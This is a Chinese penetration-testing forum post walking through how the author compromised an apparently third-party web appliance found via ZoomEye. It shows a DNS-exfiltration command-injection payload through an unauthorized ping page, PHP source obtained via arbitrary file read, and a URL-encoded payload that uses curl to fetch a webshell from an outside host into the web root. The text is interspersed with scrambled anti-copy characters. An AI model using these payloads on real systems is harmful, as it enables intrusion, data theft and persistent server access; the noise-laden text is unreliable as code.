中国网络渗透测试联盟

标题: Web安全之实战通过os命令注入漏洞getwebshell [打印本页]

作者: admin    时间: 2022-3-31 01:39
标题: Web安全之实战通过os命令注入漏洞getwebshell
[md]**一、; G  C7 b! ]5 F8 I! v! |6 }
** **寻找突破口**
% W' }8 U+ X3 p2 @+ R4 V: F0 `4 b9 P7 z5 G7 _. E, a# k
**经过右键查看源代码发现系统的特征为:images/select_bg.png,去钟馗之眼搜索如图:**; f; F+ K8 \& B( d" M' o
9 {  G: t1 k4 G8 G( M6 o2 G2 p
![image.png](data/attachment/forum/202203/31/013456oll79nxwhwxz9h2l.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
( [" u$ H! L# J( z% J, u4 h& l4 P$ X  ?$ P! u& ^
# }# t# \  j8 L& y6 v! Q
' J  D3 z9 x# x) Q
**发现reporter和[Technology,+ @: p4 _# @9 Z$ T" ]* D
Inc.](https://www.zoomeye.org/searchRe ... title:%22Technology,%20Inc.%22&t=all)都采用这个特征,然后一看之前搞过这样的系统,有源代码,对照源代码目录发现了未授权访问页面。**
) w5 R6 t# E' D& l! M2 ^  A) x% i! _3 f6 [; b
**地址为:**) C# j6 G0 h! T% z1 \
4 w* L# T+ Z9 d2 n( s7 t
[http://1.1.1.1//view/systemConfi ... ;text_packetsize=64](http://1.1.1.1/view/systemConfig ... ;text_packetsize=64)**,如图:**
% K8 R) q8 b+ Y) D3 J) B
9 B! z5 {; A# c# h![image.png](data/attachment/forum/202203/31/013528hffsyjijhb58lhh5.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
9 g9 C5 ~4 d  N$ L1 u( p) z0 y9 T  o; D& s2 d
, F! n" X' g; U# N9 r; k
' s' t8 {" K! k% l' H
**测试ping这里的功能,发现可以绕过ping正常功能执行命令,payload为:**
: @8 |% @! q( F/ V6 b/ g. n" G1 O& J; g7 E; ^
**`whoami`.1111.ceye.io** **,如图:**4 B$ K' |+ A. ?+ Z/ h
8 k. [$ y$ y. g
![image.png](data/attachment/forum/202203/31/013559bwl0r0lrgkpm8lrw.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
( o! x: G% K1 o: U! p" w- P9 o5 D7 Q6 h* R6 @6 u: e
6 w1 m' V7 Z# \3 d" J6 t# }
# o8 x4 ]3 ?2 @. Y8 }2 b; k
**返回dns记录如图:**
: }3 G, p+ h2 K4 M. M& ~# F4 q0 M9 [4 q& G% }
![image.png](data/attachment/forum/202203/31/013625ei2ea2ealisblpsb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
. L4 @$ i1 m- k* n2 u
# v" Q! w' V6 \& s  \0 L$ f* T7 S& u: L4 B! a

- j3 n& @  g  s: W+ N! T& z**发现当前用户权限为root**
* d2 P# G/ D( |6 P! r  ~/ a
' z0 u; e: }5 M' l# s0 b& p**一、
; y* g; c- r* O0 z! _** **通过漏洞组合getwebshell**
- \  l0 y. j! Z: W4 V
* y7 C& L0 i  D/ {. P/ i. o**    ** **文章就按照挖洞顺序往下写,紧接着执行pwd命令获取web路径,如图:**. a( z5 W/ f: t: O; \5 g0 h% H" R

1 Q3 Q! _% g8 a; A5 B1 x) e) }: E![image.png](data/attachment/forum/202203/31/013656tl9z2765580yd7t8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
9 Q& S! q  B3 I1 D8 [1 j8 M$ n8 f1 X# N

7 I% g1 ^; I; ?% f% ~: `5 j4 t' Y/ N% Q- ~0 W/ t9 S
**得知网站路径为:/var/www/html/view/systemconfig/systemtool/**
+ [! |- D) n3 B! O* h$ J2 g: ?, U& J! T0 m0 B
**正好利用burpsuite发现一处os命令注入漏洞与一处任意文件查看漏洞,如下图为任意文件查看漏洞截图**
4 q, l% t: L0 b6 [& B, c6 c. f
![image.png](data/attachment/forum/202203/31/013726cn3oj66ngggc6zz8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")! o" M( K+ @" b' P
2 U8 x$ R1 z% l; e& h' h+ o5 x
**Os** **命令注入存的处为:/var/www/html/view/Behavior/toQuery.php,这个路径是通过第一步绕过ping命令正常功能执行命令漏洞获取到的,通过任意文件查看漏洞,我们读取一下源代码**7 o1 s7 Z' ~  t5 I
' N3 Z/ `0 n+ [! N
![image.png](data/attachment/forum/202203/31/013749x0i8ilbkiuelle4e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")\, b' I7 o/ V8 C) j  J. y( T8 I8 B

/ R- Z; j: j! Y" F/ e
' p  S7 x, G+ x**源代码为:**- z3 K* D2 _* z
8 V2 e( U6 J* L1 Q' I9 i
<?php3 J8 P3 e2 J6 ]1 ~
include_once($_SERVER["DOCUMENT_ROOT"]."/model/charFilter.php");, w9 e5 M3 e6 ~( G6 d+ Y
?>: F& S$ j0 Y8 Y+ p
4 b7 a: p2 j$ |# l
<?php
# f9 f6 K9 J5 v2 c8 c
( L( S1 i7 L' F5 W9 i2 e: p' v4 y5 M  c  V  v% @% M) F
, a$ d) y  Y% L
session_start ();2 f( G) O# Q. x7 Z  |. Y8 p

8 t% S2 F6 Z- I) f3 l3 g
; F3 d$ S& Q9 c* l& ?& ?7 H5 l( f1 l, `

7 s' y! K  O7 F  M) s# ~6 ~2 \
* b! m, w- k( E1 Q( X# u

/ h( V3 E8 i8 k0 {if ($_GET ["objClass"] == "")! _' R8 U& }8 }8 n& G9 q+ k4 t

9 ~* F' [( [. I+ E% k
7 ^" ~: M$ @6 S7 }. M! j0 w- t. B  N8 L& n4 l8 C) g- q
      exit ();
" _' j$ }* E1 f/ v
5 u2 Z! F* ^# F0 e. B
1 ], t( S/ x* L! ]8 M" B$ @$ K
0 B4 q) {* u* c0 a* \" K# x$param = $_REQUEST;6 K# x- D3 E% \- ?& z! u
  V2 G9 X' E0 m: k  D( E/ j

9 ^) X1 a+ o; i( K
9 K! L) \/ w6 a7 O+ q3 L
* ^1 I, r4 \1 Z3 Y4 H+ n
. N% M6 t, k* }" {$ E/ N* o/ g& Y, {
; i2 M- y: |( Q: M: q( R% ^# j2 d
: M) r: R2 l+ a$ l, Y//echo "\n--------------------------\n";
$ L6 ^9 [% ^! b' R0 O# o2 C$ N
  m' C, B( E; G1 [
/ ]+ c# ]9 Q+ P: H' d
2 @7 }# J; \: F; I* f  S, w1 H; G2 d//print_r($param);
2 a( e' C  X, O4 G- }( O/ x, z3 \& v+ i! ?0 x5 f

4 p. I0 w. Q# g+ ]1 [( n$ E6 |& f" b- y
//echo "\n--------------------------\n";# u- D) X4 u4 B& q1 H$ ]5 E
* A0 M0 S) |$ T8 p& |
& \, M: e" f; [% T

/ o$ L, z" w) w" Y  v1 C[if ($_GET ["method"] ==
- n+ E- H' D6 W  f"getList" || $_GET ["method"] == "import" ||
$ \" X, \: i) T- v/ L6 l, O$_GET ["method"] == "processAlarm") ](){
5 M: }* ~7 A; R7 T
) V# B8 {2 z, M2 t% W  V2 t$ ?( x. o
' ^! r& S/ T8 X
: D9 i! [" w( i+ O% Z      $param
& V! k2 f# V6 K7 n["user"] = $_SESSION ["s_userName"];& n6 \# Y+ _4 i! Y' x( C; ^

' n3 d: P6 I6 {6 a. [
8 A% @8 }- o1 D8 ?& g# T/ w& B; A2 O! X5 i( W
      $param
$ P8 x3 ~) ^  n["lan"] = $_SESSION ["lan"];( K% D: n6 [( @

4 [# R: D: E" C1 ^0 c. ]+ B% b' b$ m+ U7 `1 l2 C; g  C. g

, u4 d" q9 t! }/ p; g8 A      $param
# Y, a" O3 S7 A! }) @["regUserpath"] = $_SESSION ["regUserpath"];
* o& |. a' B" G' E7 q# l. `
1 {  w$ h+ X) F4 J" h4 H/ p- w5 D& ~8 X

/ k8 `# }( n3 k0 ?4 L    4 h: H3 i. ~5 {0 ]9 I: ]0 {% v

/ j4 W% A% m  s0 J2 B9 h  A) R3 Z/ R1 }) b5 B7 ?/ c" f- t

8 a" u% \( v9 l      exec (( @* [* X% ?+ B. {8 Q; s+ j
"rm -rf /tmp/cache" );5 y# G  H, i! U% a2 V

6 P+ w0 j/ y7 L1 G) Y
! c  h: \% a* z. f  D8 }3 G& e! v& i+ \! x* K# Y$ i
      [$cmd = "/usr/local/php/bin/php ".$_SERVER
) o4 p1 R4 D$ s. A["DOCUMENT_ROOT"] . "system/behavior/behavior_query.php";]()8 A6 d0 s- X; }2 u0 Y: ]" J

3 J# }. l, t: P; I" A7 R
  B9 j( T9 `9 S- m+ M7 \
0 A3 _3 N+ s) B9 z      $cmd .=$ X/ }+ \7 ~; V3 h& N
" " . $_GET ["objClass"];
* R) |- D2 t3 A% l0 o; M
; k# H  F1 M/ P7 f1 b3 u/ w; n2 V" ?" O0 ^  M' P

3 P& _. L1 F2 t# L2 j6 x5 _      $cmd .=1 K1 W% `9 C, g+ }- \" q7 `
" " . $_GET ["method"];7 Q' K: S4 A. I2 r& @! r
2 t( t6 H1 G) \6 r- U

+ ~. @0 K3 b+ `( h5 x2 t# p
5 `' R0 [/ k  e) L8 l; z      $cmd .=$ v" u8 _+ a6 N
" " . base64_encode ( json_encode ( $param ) );' |) D. i8 |+ F1 O6 M0 h# i2 J" g

7 q# K- @$ V- C; Q
4 J$ ~. o2 t) d7 V$ r0 \! Q& [2 F; A
      [file_put_contents("/tmp/query_cmd",$cmd);]()
" y7 j/ _$ x3 {; d6 d8 r' I' q0 o9 ^) }7 ~. H+ U7 b$ }

1 [& z. H. o. K" u. @. U) o
8 |  X1 B) s" D( M( S      exec ( $cmd . "
9 ?+ o  d5 T4 Q$ B1 S> /dev/null &" );( @1 Y6 U& U7 e& l% m( A! b# ^- P* z
, O5 o8 k+ ?9 o% |% c# F

- q' e6 e$ X1 d( Q4 G
  b8 t$ ?) }6 }- B3 f# N0 _
6 M; w: h+ i% X4 P9 @+ z9 `9 G( J; a2 O& a$ s7 K' x4 |
} else {
' R* C: \  ]0 V0 R" j! Q. X7 E8 u" ?) I

( s; F0 M+ E; c; d* S$ u9 t
0 K1 I* b2 ?' x* d6 T+ C      require_once
2 U" g( H% X3 J* t! V. P($_SERVER ["DOCUMENT_ROOT"] . "system/behavior/behavior_Detail.php");
3 b8 m0 h: t/ N$ s! i* X1 @1 B( O+ c6 a$ Q" ?0 P9 P2 R. `
9 E0 T9 O/ ^- A8 Z4 |+ b

' R! J4 O% j  k      $obj = new0 j; H9 ~9 t) \
QueryInterface ();
' ]# r" b, C1 S; R% w; i8 n# f9 \9 C1 f' |! y# w) ]

2 ^; F0 u" I3 \
2 _5 ^/ _$ w' Z$ `      $instance =3 A6 E. N# ~; W& {3 @
$obj->getInstance ();
, u) n6 a! D. Z! W  ^& I& U5 L0 N1 U) X0 l
( O: _5 R! c* |, I5 H+ B

3 u$ L6 D/ H8 s  ]      $instance->invokeMethod
9 Z  J0 X7 ^. K1 D, a( $_GET ["objClass"], $_GET ["method"], $param );6 r8 ~; J+ r1 i' P4 ~( Q9 w% N

6 y$ T) R2 z( E  W
0 `5 |& N+ K' Q$ L) t' t/ k) W* x0 B& {; [: x
}3 K1 F4 j0 s) W/ Y0 t. S

* d3 g' w* \; D2 U/ |
9 \  L& p8 \  o9 d3 t( J. O& ]! o$ b/ t- G% d) R! F! q) R
exit ();; }: ^( A3 ~& m. |9 E3 l
$ g% [4 S. f# f; l, z4 H6 x
& i! p4 P( @  [3 z* H' J
5 f- E& x$ w* G5 o1 `# K, c
?>0 n/ j# K# i9 q

4 |' }. W. I7 ?9 U**经常简单审计发现if ($_GET
! E+ f3 X) F$ Z& U  T: G["method"] == "getList" || $_GET ["method"] ==
$ g  A  `) Z7 @! h"import" || $_GET ["method"] == "[processAlarm]()"),如果method只要等于getList、import、processAlarm这其中一个,$cmd =
6 _3 t" _7 S1 k1 b"/usr/local/php/bin/php ".$_SERVER ["DOCUMENT_ROOT"] .
4 {& P5 E# S4 c1 }"[system/behavior/behavior_query.php]()";  cmd等于web绝对路径+ system/behavior/behavior_query.php,然后file_put_contents("/tmp/query_cmd",$cmd);**. C: g, ^5 u, B7 F. H4 {" `

% [% `; n1 h( }9 h; W' P**      exec ( $cmd
; Z/ {4 O0 U, a, c8 y# \. "  > /dev/null &" );** **给我们构造了一个命令注入的参数,这里直接造成了OS命令注入漏洞,下面看我演示**. w3 {2 g% w" }6 e  i( \; _2 k% k  m
* t& ~& Y1 _# f1 T
& @6 ?) g6 u4 p+ b5 w! }
![image.png](data/attachment/forum/202203/31/013842ceg7htegblnr4nnk.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")1 S4 L' H, J& ~% i0 p8 [" O2 `

4 k) Y% F% [7 z1 B: Y4 h- n4 ^7 Y$ M' q1 f/ |9 P/ O  g

: a; ], W7 \3 b' }) z- n, i2 x**图中objClass=存在OS命令注入漏洞,我之前试图通过bash反弹shell,但是测试了一晚上没反弹成功,最后选择了curl下载webshell,payload如下:**
0 a* c) K7 _/ \9 i- a2 ?
* G8 X2 {1 N% r6 j4 m8 u**%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60pcurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%27%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60curl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%5C%22%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php**) j+ S5 E: N" [8 e$ Z
# k4 G' K& C) @  ~
**我们用url解码如下:**
3 o2 h/ O& e( I& w+ Y& r" E4 u; t0 n1 S' L  E, `/ I- {* U
**|curl http://1.1.1.1/qYCwxRz1.zip -o3 E9 @$ k8 }  {
/var/www/html/images/suiji2.php||`pcurl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php` #' |curl http://1.1.1.1/qYCwxRz1.zip -o: {: |# I2 i  v+ x9 w
/var/www/html/images/suiji2.php||`curl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php` #\" |curl ** [**http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php**](http://8.136.218.186/qYCwxRz1.zi ... l/images/suiji2.php)7 P: s5 e  S4 `2 t

* e8 T2 D* S' O. r. }**使用这么多管道符|就是要闭合payload,最后成功curl下载webshell如图:**$ F5 ]5 G2 u  d
! z: j9 [: ]( k7 n# r; [$ h
5 {# p) w4 m" v7 i
![image.png](data/attachment/forum/202203/31/013922zdonl51onkonxqqz.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
+ ]" o' p4 r5 r7 n) {0 M9 n" y4 X8 g8 s& ]7 m

3 W9 Q( f3 e( v" r! M4 j4 \$ _% t- |0 [3 E3 w0 _

# ]- ^% ?! a3 H) I**三、总结**
# P& |, r5 ]! V0 T! d1 d( w) ~* A3 j. U4 A! f; U7 I+ X5 E
**   ** **案例之所以最终获得webshell,很大程度上是取决于几个漏洞的组合,首先通过右键查看源代码找到目标系统使用的系统,因为之前测试过与目标类似的程序。然后“对症下药”找到了ping未授权访问页面,通过绕过ping命令正常功能执行pwd命令获取到网站绝对路径,其次,使用任意文件查看漏洞去读取疑似存在os命令执行漏洞的php进行简单审计,经过确认存在此漏洞,最后构造os命令执行payload,最终getwebshell,整个getwebshell过程就是一个漏洞的连环组合,渗透更多的时候是靠运气,如果这几个环节有一个环节漏洞不存在或者没挖到,可能导致getwebshell失败。**
; m! q1 E: N! I5 C( r$ k; K
8 F! n& S! D7 b4 O8 B  R/ E**   ** **综上所述,运气与挖洞功底同等重要,谢谢观看** **! **4 C: l; ?) ^0 O4 @3 {
[/md]




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2